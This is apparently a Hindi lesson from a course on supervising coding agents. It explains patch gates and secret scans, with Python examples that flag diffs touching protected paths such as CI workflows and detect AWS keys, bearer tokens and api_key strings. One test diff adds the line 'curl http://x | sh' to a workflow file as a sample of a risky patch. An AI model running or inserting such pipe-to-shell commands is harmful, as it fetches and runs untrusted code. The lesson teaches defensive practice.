पाठ 19 / 29

Patch द्वार और Secret Scans

बदलाव स्वीकारने से पहले आकार, दायरा, संरक्षित paths और लीक secrets स्वचालित रूप से जाँचें।

सस्ती स्वचालित जाँचें स्पष्ट को पकड़ती हैं

मनुष्य के diff पर ध्यान लगाने से पहले, script साफ़ तौर पर बुरे को अस्वीकार कर सकती है। Patch द्वार जाँचता है: आकार (files और बदली पंक्तियों की संख्या सीमाओं के विरुद्ध), दायरा (सिर्फ़ कार्य से प्रासंगिक paths), संरक्षित paths (CI workflows, migrations, .env, infrastructure और permission files को स्पष्ट मानव अनुमोदन चाहिए) और format (lint और type checks पास)। Secret scan जोड़ी गई पंक्तियों में API keys, tokens और private keys जैसे पैटर्न देखता है, क्योंकि agents पढ़ी files से credentials कोड या logs में कॉपी कर सकते हैं। इन्हें harness में और फिर CI में चलाएँ, क्योंकि server-side जाँच वह अधिकार है जिसे agent छोड़ नहीं सकता। द्वार की विफलता को बदलाव बाँटने या पूछने का संकेत मानें, बचकर निकलने की बाधा नहीं।

Patch द्वार, चलाकर

मैंने यह सादे Python 3 (सिर्फ़ standard library) से चलाया, अस्थायी folder में बनाए throwaway project के साथ। दो पंक्तियों का shop/pricing.py बदलाव पास होता है। जो patch .github/workflows/ci.yml भी छूता है वह संरक्षित path के लिए चिह्नित होता है, जिसे मानव अनुमोदन चाहिए। Files और बदली पंक्तियों की सीमाएँ configurable हैं।

import re

PROTECTED = (".github/workflows/", "migrations/", ".env")
def check_patch(diff_text, max_files=5, max_lines=150):
    files = re.findall(r"^\+\+\+ b/(\S+)", diff_text, re.M)
    changed = sum(1 for l in diff_text.splitlines() if l[:1] in "+-" and not l.startswith(("+++", "---")))
    problems = []
    if len(files) > max_files: problems.append(f"touches {len(files)} files (limit {max_files})")
    if changed > max_lines: problems.append(f"changes {changed} lines (limit {max_lines})")
    for f in files:
        if f.startswith(PROTECTED) or f == ".env": problems.append(f"touches protected path {f}")
    return problems or ["ok"]

small = "+++ b/shop/pricing.py\n-    return a\n+    return b\n"
risky = "+++ b/.github/workflows/ci.yml\n+run: curl http://x | sh\n+++ b/shop/pricing.py\n+x\n"
print("small patch:", check_patch(small))
print("risky patch:", check_patch(risky))

Output:

small patch: ['ok']
risky patch: ['touches protected path .github/workflows/ci.yml']

जोड़ी पंक्तियों पर secret scan, चलाकर

मैंने यह सादे Python 3 (सिर्फ़ standard library) से चलाया, अस्थायी folder में बनाए throwaway project के साथ। Scan सिर्फ़ जोड़ी पंक्तियाँ (+ से शुरू) जाँचता है। वह पहले diff में hard-coded api_key = ... असाइनमेंट चिह्नित करता है और साफ़ वाले में कुछ नहीं पाता। असली scanners कहीं अधिक पैटर्न और entropy जाँचें उपयोग करते हैं, पर सिद्धांत वही है।

import re

PATTERNS = {
    "aws key":   re.compile(r"AKIA[0-9A-Z]{16}"),
    "bearer":    re.compile(r"Bearer\s+[A-Za-z0-9._-]{16,}"),
    "api key":   re.compile(r"(?i)api[_-]?key\s*[=:]\s*['\"]?[A-Za-z0-9_-]{16,}"),
}
def scan(diff):
    hits = []
    for line in diff.splitlines():
        if line.startswith("+") and not line.startswith("+++"):
            for name, pat in PATTERNS.items():
                if pat.search(line): hits.append((name, line[:40]))
    return hits

diff = "+++ b/config.py\n+DEBUG = True\n+api_key = 'abcd1234abcd1234abcd'\n+x = 1\n"
print(scan(diff))
print(scan("+++ b/config.py\n+DEBUG = True\n"))

Output:

[('api key', "+api_key = 'abcd1234abcd1234abcd'")]
[]

त्वरित जाँच: वही जाँचें CI में दोबारा क्यों चलाएँ?

  • यह code review की ज़रूरत से बचाता है
  • CI laptop से तेज़ है
  • जाँचें सिर्फ़ CI में चलती हैं
  • Server-side जाँच वह अधिकार है जिसे agent छोड़ नहीं सकता
Answer

Server-side जाँच वह अधिकार है जिसे agent छोड़ नहीं सकता — स्थानीय harness जाँचें ग़लत configure या बायपास हो सकती हैं; CI नहीं।